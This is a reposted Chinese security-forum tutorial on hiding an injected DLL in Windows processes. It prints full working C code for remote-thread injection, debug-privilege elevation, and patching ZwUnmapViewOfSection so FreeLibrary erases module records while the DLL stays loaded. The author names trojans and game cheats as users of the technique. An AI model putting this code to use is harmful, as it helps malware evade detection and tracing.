VC黑防日记:DLL隐藏和逆向
2020-02-26 18:58:00 Author: mp.weixin.qq.com(查看原文) 阅读量:94 收藏

本文为看雪论坛优秀文章
看雪论坛作者ID:小迪xiaodi 
看到这个标题,DLL隐藏,还逆向?这有什么鸟关系?很多大佬一定是这个表情:
   
且慢,听我给大家娓娓道来~
【实验平台】:Win7 x64
【开发平台】:Win10 x64 + VS2017
【调试工具】:Ollydbg
0x01 何为DLL?又为何要将其隐藏?

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何为DLL?

首先来看一下来自于百度的解释:
动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32.dll 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于避免代码重用和促进内存的有效使用。通过使用 DLL,程序可以实现模块化,由相对独立的组件组成。例如,一个计帐程序可以按模块来销售。可以在运行时将各个模块加载到主程序中(如果安装了相应模块)。因为模块是彼此独立的,所以程序的加载速度更快,而且模块只在相应的功能被请求时才加载。
啰里啰唆说了一堆,实际上就是说:使用DLL这种技术可以使得程序模块化,同时让程序加载速度更快~
更加详细的解释请大家参考:
https://encyclopedia.thefreedictionary.com/Dynamic-link+library

另外,我们在日常生活中,经常可以看到dll的影子,比如以PC版微信为例:
我们打开其安装目录,便可以看到许多文件后缀为“.dll”的文件。

如果看不到文件后缀,大家可以在这样设置:

OK,这个呢,就是给大家讲的一些生活中我们应该知道的DLL的常识了,怎么样,学到了没?
看到这里感觉自己学不会也没关系,送大家一本书,包邮 ,评论区抽奖送书,包邮~

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DLL为什么要被隐藏?

DLL为何要被隐藏,这事儿啊说来话长,看看这其中到底有啥事~
先举个例子:
老李和老王是邻居,也就是说老李隔壁是老王,老王也就是所谓的“隔壁老王”。
一天,老李去出差,只剩下老李媳妇儿在家。这天正值越黑风高,老王大半夜嘭嘭嘭敲开了老李家的大门,老李媳妇儿见了面便说:“死鬼儿,这么晚才来”。于是,在今天晚上...

可没料到,老王刚进卧室,老李突然回来了,老王赶忙将自己隐藏到了衣柜里,姿势刚好像DLL的拼写,这个姿势,我画了一下,大致是这样的:

后面的故事,我不再清楚了,因为,这全都是我一个人通过努力编出来的:

最后总结一句话:没做坏事,干嘛要隐藏自己呢?所以,隐藏了自己,那有很大的可能性要做坏事。
既然可以做坏事,我们看看都有什么坏事可以做吧
1. 木马以DLL形式注入进正常进程并隐藏自己,导致无法追踪溯源,如键盘记录木马、感染型木马
2. 游戏外挂通过该种方式躲避游戏自身的“模块检测”,如DXF的第三方木马检测
除了坏事儿,在一些常见的攻防对抗中,如若用到Windows木马,不仅要注意免杀工作,有时也需要通过该技术实现持久隐藏攻击。
OK,这就是我们第一部分的内容,怎么样,还要继续坚持往下学习吗?
0x02 DLL隐藏常见手法
通过在谷歌搜索“DLL隐藏 看雪”,我发现结果点进去大都是这样的:



我赶忙给自己倒了一杯82年的哇哈哈压了压惊,一定是我技术太菜了,一看到这种大批量的汇编,直接慌了,劝退。

总结了一下,如果要实现DLL隐藏,方法有很多,但是大体分为两类:
1. 手动载入
所谓手动载入就是自己去实现LoadLibrary函数,记得科锐钱老师哪个视频讲过:“他检测或处理了Windows api那咋办啊,自己实现啊!”,高,实在是高。
如果自己去实现,就可以更加精确的控制内存读入信息,从理论上讲,这种方法隐藏效果是最棒的,但是实现一个基本的PEloader并不是一件容易的事情,如果还要考虑兼容性完美,就必须还得妥善处理TLS,资源,线程等问题,在这方面处理的话,反正我不会,劝退。

2. 痕迹消除
这个就比较好说了,我们在注入DLL的时候,通常要选择去调用 LoadLibrary函数,然后再擦除痕迹,这样不用去处理那些TLS,资源,线程等为了解决兼容性产生的问题。
但是Windows大家都清楚,表面风平浪静,背地里风起云涌,说不准现在你电脑的XXX安全卫士正在对你的电脑做些什么呢,这些都是你不通过技术手段看不到的东西,实际上没有什么好的方法把痕迹真正的消除。
以DLL擦除痕迹为例,网上大多数的方法都是通过PEB双向断链,需要很多的硬编码,麻烦不说,通过内存暴力搜索还是会露出尾巴来
攻防无绝对,攻防本身就是一个提升本身技术的过程,只要能够通过一个比较合适的方法,实现相应的功能,便具有可行性

0x03 DLL编写与注入测试—小白入门

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DLL编写


添加C语言代码如下:
#include <Windows.h>
BOOL WINAPI DllMain(HMODULE hDll, DWORD dwReason, LPVOID lpReserved){ DisableThreadLibraryCalls(hDll);
if (dwReason == DLL_PROCESS_ATTACH) { //================================== OPTIONAL ========================================= MessageBoxA(0, "Message Test","Message Title", 0); } return 1;}
同时在项目属性中设置:


然后进行编译生成:

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DLL注入测试

我们进行注入的话,可以自己编写注入器,也可以利用其它工具,在这里我们为了方便暂且使用其他工具辅助我们进行测试。
工具:代码注入器,见附件~(附件可通过阅读原文下载)

使用方法:打开两份,用一个程序注入进另一个程序,依次点击:

继续依次点击:

我将DLL放在了桌面,于是选中它,点击注入就可以了,提示了一个信息框:

刚好对应我们的源代码:


接下来我们观察进程中是否已经注入进了我们的DLL,依次点击:

这个时候,程序已经被我们“射”进去了一个DLL,这款工具显示出了该DLL在QQ进程中的内存地址:0x710B0000。

最后总结一下,效果就是这么个效果,木马或者外挂通常采用类似的技术手段 “注入”进其他进程,与其他进程融为一体,为所欲为。
注入进去之后,通常这些木马或者外挂DLL就开始做一些隐藏工作了,接下来的内容,也是我们要讨论的东西,开始~
0x04 手写代码实现注入 
谈完DLL编写和利用工具注入测试,我们来大致了解一下代码实现注入,方法有很多,但原理大致相同,我在这里以线程注入dll为例:
#include <Windows.h>
void Inject(int pID, char* Path){ //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
//申请一块内存给DLL路径 LPVOID pReturnAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
//写入路径到上一行代码申请的内存中 WriteProcessMemory(hProcess, pReturnAddress, Path, strlen(Path) + 1, NULL);

//获取LoadLibraryA函数的地址 HMODULE hModule = LoadLibrary("KERNEL32.DLL"); LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");

//创建远程线程-并获取线程的句柄 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, pReturnAddress, 0, NULL);
//等待线程事件 WaitForSingleObject(hThread, 2000);

//防止内存泄露 CloseHandle(hThread); CloseHandle(hProcess);
}
int main(){ //传dll路径 const char* a = "C:\\Users\\asus\\Desktop\\C++\\FirstDll.dll";
//传入进程ID Inject(12944, (char*)a);
return 0;}
根据传入参数,记录我们要传入的数据:
进程ID:3872
路径:C:\Users\86186\Desktop\mydll.dll

修改路径和pid,我们编译生成:
 

丢到虚拟机测试运行:

成功注入,弹出信息框,通过分析源代码,我们总结了一下注入流程:
1. 在别人的程序里开辟内存空间A
2. 将 LoadLibrary 函数参数写入A
3. 获取LoadLibrary函数地址
4. 在别人的程序里远程执行 LoadLibrary实现加载外部DLL
由此可见 LoadLibrary多么重要~这个小玩意儿竟然实现了注入~
0x05 与LoadLibrary相对的FreeLibrary
既然一个东西有安装,那必然就有卸载,凡是都是相对的,不可能只有单方面(我什么时候把哲学搞这么明白了) 
话说回来,如果存在DLL注入,能安装进去,那也就必然能从上面卸载下来
安装是LoadLibrary,卸载就是FreeLibrary,为啥是呢,因为我是从MSDN上面看到的:
https://docs.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://docs.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary


同样的道理,注入可以远程调用LoadLibrary注射进去,那么我们也可以远程调用FreeLibrary卸载吧,尝试一下:

看一下该函数都有什么参数:

发现需要传一个句柄,那么我们直接放源码吧,可以远程获取进程模块的句柄:
//获取模块句柄HMODULE GetProcessModuleHandleByName(DWORD pid, LPCSTR ModuleName){    MODULEENTRY32 ModuleInfo;    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);    if (!hSnapshot)    {        return 0;    }    ZeroMemory(&ModuleInfo, sizeof(MODULEENTRY32));    ModuleInfo.dwSize = sizeof(MODULEENTRY32);    if (!Module32First(hSnapshot, &ModuleInfo))    {        return 0;    }    do    {        if (!lstrcmpi(ModuleInfo.szModule, ModuleName))        {            CloseHandle(hSnapshot);            return ModuleInfo.hModule;        }    } while (Module32Next(hSnapshot, &ModuleInfo));    CloseHandle(hSnapshot);    return 0;}//获取进程idDWORD GetProcessIDByName(const char* pName){    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (INVALID_HANDLE_VALUE == hSnapshot) {        return NULL;    }    PROCESSENTRY32 pe = { sizeof(pe) };    for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {        if (strcmp(pe.szExeFile, pName) == 0) {            CloseHandle(hSnapshot);            return pe.th32ProcessID;        }        //printf("%-6d %s\n", pe.th32ProcessID, pe.szExeFile);    }    CloseHandle(hSnapshot);    return 0;}
简单的修改一下,然后去调用该函数,完整代码如下:
#include <Windows.h>#include <stdio.h>#include "tlhelp32.h"
void Inject(int pID, char* Path){ //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
//申请一块内存给DLL路径 LPVOID pReturnAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
//写入路径到上一行代码申请的内存中 WriteProcessMemory(hProcess, pReturnAddress, Path, strlen(Path) + 1, NULL);

//获取LoadLibraryA函数的地址 HMODULE hModule = LoadLibrary("KERNEL32.DLL"); LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");

//创建远程线程-并获取线程的句柄 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, pReturnAddress, 0, NULL);
//等待线程事件 WaitForSingleObject(hThread, 2000);

//防止内存泄露 CloseHandle(hThread); CloseHandle(hProcess);
}
HMODULE GetProcessModuleHandleByName(DWORD pid, LPCSTR ModuleName){ MODULEENTRY32 ModuleInfo; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); if (!hSnapshot) { return 0; } ZeroMemory(&ModuleInfo, sizeof(MODULEENTRY32)); ModuleInfo.dwSize = sizeof(MODULEENTRY32); if (!Module32First(hSnapshot, &ModuleInfo)) { return 0; } do { if (!lstrcmpi(ModuleInfo.szModule, ModuleName)) { CloseHandle(hSnapshot); return ModuleInfo.hModule; } } while (Module32Next(hSnapshot, &ModuleInfo)); CloseHandle(hSnapshot); return 0;}
DWORD GetProcessIDByName(const char* pName){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { return NULL; } PROCESSENTRY32 pe = { sizeof(pe) }; for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) { if (strcmp(pe.szExeFile, pName) == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } //printf("%-6d %s\n", pe.th32ProcessID, pe.szExeFile); } CloseHandle(hSnapshot); return 0;}

void UnInject(int pID, char* Path){ //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
LPVOID pReturnAddress = GetProcessModuleHandleByName(GetProcessIDByName("代码注入器.exe"), "mydll.dll");
//获取LoadLibraryA函数的地址 HMODULE hModule = LoadLibrary("KERNEL32.DLL"); LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");

//创建远程线程-并获取线程的句柄 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, pReturnAddress, 0, NULL);
//等待线程事件 WaitForSingleObject(hThread, 2000);

//防止内存泄露 CloseHandle(hThread); CloseHandle(hProcess);
}
int main(){ const char* a = "C:\\Users\\86186\\Desktop\\mydll.dll";
UnInject(GetProcessIDByName("代码注入器.exe"), (char*)a);
getchar(); return 0;}
上一秒,这个DLL还在程序内:

下一秒,我们运行Uninject程序,然后刷新一下,它就不见了:

0x06 FreeLibrary卸载DLL跟DLL隐藏有什么关系?
很多朋友都会这么问,你卸载了,就没了,你还隐藏个鸡儿?
 
按道理确实是这样,但是也正是如此,真正的隐藏就是卸载掉,让他真正的不存在!
我们因此可以从Freelibrary函数开刀,分析该函数的流程,然后下手:

0x07 分析FreeLibrary
先从MSDN给的官方文档下手:

总结一下,大致就是四部分:

1. 判断DLL句柄是否有效,有效就说明该DLL存在于进程中

2. 递减模块的引用计数,且判断是否为0

3. 调用模块的DllMain函数响应 DLL_PROCESS_DETACH消息

4. 从进程空间撤销对DLL的内存映射

我们不难看出,前三步只是假把式,最后一笔才是点睛之笔,才真正把DLL从内存清出去。
因此,如果我们让系统帮我们清楚前面的痕迹,等到清楚内存映射的时候,直接阻止它,这样既清了痕迹,又保了我们的DLL。
0x08 逆向FreeLibrary
打开OD,附加进程,跳转到函数处:

此时我们可以看到这个函数在里面到底偷偷做了些什么:

我们会发现,其调用了很多来自ntdll的函数,而且最后,是通过调用下面的call来实现最后的内存清除工作:
76021DF7  |.  FF15 C0110176 call    dword ptr [<&ntdll.NtUnmapViewOfSection>]               ;  ntdll_12.ZwUnmapViewOfSection

不懂就查:https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwunmapviewofsection
看一下这玩意到底是不是清除内存的:
The ZwUnmapViewOfSection routine unmaps a view of a section from the virtual address space of a subject process.


我们发现的确是这样的,那么就专门搞它就可以了~
0x09 Patch函数首地址阉割FreeLibrary
先进函数内部观察:

patch方法也很简单,首地址,利用shellcode技巧直接retn 8。

这样的话,我们就把FreeLibrary阉割了,阉割后,就没有办法将DLL从内存中清出去,且擦出了注入的痕迹。
这就好比隔壁老王办完事儿把床铺床单收拾整齐,擦出了痕迹,然后躲在了衣柜里~
这里的办事儿当然指的是隔壁老王去找隔壁老李媳妇儿打游戏啦,别多想。
0x10 ShellCode代码实现
1. 先获取ZwUnmapViewOfSection函数地址:
DWORD a = GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection");

2. 修改该处的内存属性使其可读写:
  DWORD dwOldProtect;
VirtualProtectEx(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIDByName("代码注入器.exe")), addrfun, 6, PAGE_EXECUTE_READWRITE, &dwOldProtect);
3. 写入内存数据阉割该函数:
BYTE shellcode[] = { 0xc2, 0x08 , 0x00 , 0x90 , 0x90 };WriteProcessMemory(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIDByName("代码注入器.exe")), addrfun, shellcode, 5, NULL);
效果:
如此以来,我们便可以再重新整理一下代码和思路了。
先阉割,再FreeLibrary即可!然后再还原,不还原不行,万一别的地方调用有可能会出错,所以你办完事,就不能露痕迹,代码如下:

0x11 DLL隐藏测试
1. 先注入一个DLL到程序


啊!进去了
 
2. 编译运行我们自己的程序
重新点击小电脑附加进程,重新选中,你会发现DLL没有了,我们再去用OD看一下:
发现模块信息的确被擦除了,没有了路径和版本信息。
换用CheatEngine工具测试一下:发现完全消失。
换用修改版的OD-吾爱破解OD测试:

发现竟然暴露了,说明该方法依然是存在不足的,对某些程序依然会被检测。
0x12 总结
1. 该方法采用正向分析逻辑,然后逆向分析函数实现流程,通过阉割函数,实现擦除注入痕迹。
2. 理论上DLL注入痕迹已经完全擦除,但是内存中仍然保留着完整的镜像,擦除的也只是操作系统中数据结构的记录。
3. 如果要对抗暴力穷搜,还需处理PE文件头特征。

最近还要写毕业论文,实在不知道怎么写,我写技术文章可以一直写一直写,写论文几小时扣不出几个字,是我太俗了,不太会写官方的语言。
另外有没有2021考研大佬,一起交流进步学习,高数线代概率论冲起来?
最后代码有些乱,贴给大家:
#include <Windows.h>#include <stdio.h>#include "tlhelp32.h"
void Inject(int pID, char* Path){ //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
//申请一块内存给DLL路径 LPVOID pReturnAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
//写入路径到上一行代码申请的内存中 WriteProcessMemory(hProcess, pReturnAddress, Path, strlen(Path) + 1, NULL);

//获取LoadLibraryA函数的地址 HMODULE hModule = LoadLibrary("KERNEL32.DLL"); LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");

//创建远程线程-并获取线程的句柄 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, pReturnAddress, 0, NULL);
//等待线程事件 WaitForSingleObject(hThread, 2000);

//防止内存泄露 CloseHandle(hThread); CloseHandle(hProcess);
}
HMODULE GetProcessModuleHandleByName(DWORD pid, LPCSTR ModuleName){ MODULEENTRY32 ModuleInfo; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); if (!hSnapshot) { return 0; } ZeroMemory(&ModuleInfo, sizeof(MODULEENTRY32)); ModuleInfo.dwSize = sizeof(MODULEENTRY32); if (!Module32First(hSnapshot, &ModuleInfo)) { return 0; } do { if (!lstrcmpi(ModuleInfo.szModule, ModuleName)) { CloseHandle(hSnapshot); return ModuleInfo.hModule; } } while (Module32Next(hSnapshot, &ModuleInfo)); CloseHandle(hSnapshot); return 0;}
DWORD GetProcessIDByName(const char* pName){ HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { return NULL; } PROCESSENTRY32 pe = { sizeof(pe) }; for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) { if (strcmp(pe.szExeFile, pName) == 0) { CloseHandle(hSnapshot); return pe.th32ProcessID; } //printf("%-6d %s\n", pe.th32ProcessID, pe.szExeFile); } CloseHandle(hSnapshot); return 0;}


void UnInject(int pID, char* Path){ //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
//WriteProcessMemory("")
LPVOID pReturnAddress = GetProcessModuleHandleByName(GetProcessIDByName("代码注入器.exe"), "mydll.dll");
//获取LoadLibraryA函数的地址 HMODULE hModule = LoadLibrary("KERNEL32.DLL"); LPTHREAD_START_ROUTINE lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "FreeLibrary");

//创建远程线程-并获取线程的句柄 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, lpStartAddress, pReturnAddress, 0, NULL);
//等待线程事件 WaitForSingleObject(hThread, 2000);

//防止内存泄露 CloseHandle(hThread); CloseHandle(hProcess);
}
int main(){ const char* a = "C:\\Users\\86186\\Desktop\\mydll.dll";
HANDLE hToken = NULL; //打开当前进程的访问令牌 int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; //取得描述权限的LUID LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //调整访问令牌的权限 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken); }
//定位函数地址 DWORD addrfun = GetProcAddress(LoadLibrary("ntdll.dll"), "ZwUnmapViewOfSection"); printf("%x \n\n", addrfun); DWORD dwOldProtect; //修改内存属性 VirtualProtectEx(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIDByName("代码注入器.exe")), addrfun, 6, PAGE_EXECUTE_READWRITE, &dwOldProtect); //阉割函数 BYTE shellcode[] = { 0xc2, 0x08 , 0x00 , 0x90 , 0x90 }; WriteProcessMemory(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIDByName("代码注入器.exe")), addrfun, shellcode, 5, NULL);
//调用FreeLibrary实现卸载 UnInject(GetProcessIDByName("代码注入器.exe"), (char*)a);
//还原原函数 //B8 27 00 00 00 BYTE Oldcode[] = { 0xB8, 0x27 , 0x00 , 0x00 , 0x00 }; WriteProcessMemory(OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessIDByName("代码注入器.exe")), addrfun, Oldcode, 5, NULL);

getchar(); return 0;}
- End -

看雪ID:小迪xiaodi

https://bbs.pediy.com/user-680946.htm 

*本文由看雪论坛 小迪xiaodi 原创,转载请注明来自看雪社区。

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文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458303691&amp;idx=1&amp;sn=5bc50fc3de889675e4c3394127a62c8c&amp;chksm=b1818c4186f6055774e836c4a1ffaa6684c7b31a24832d3340c4cf6ec3fa4ab7a4f11de4a78e#rd
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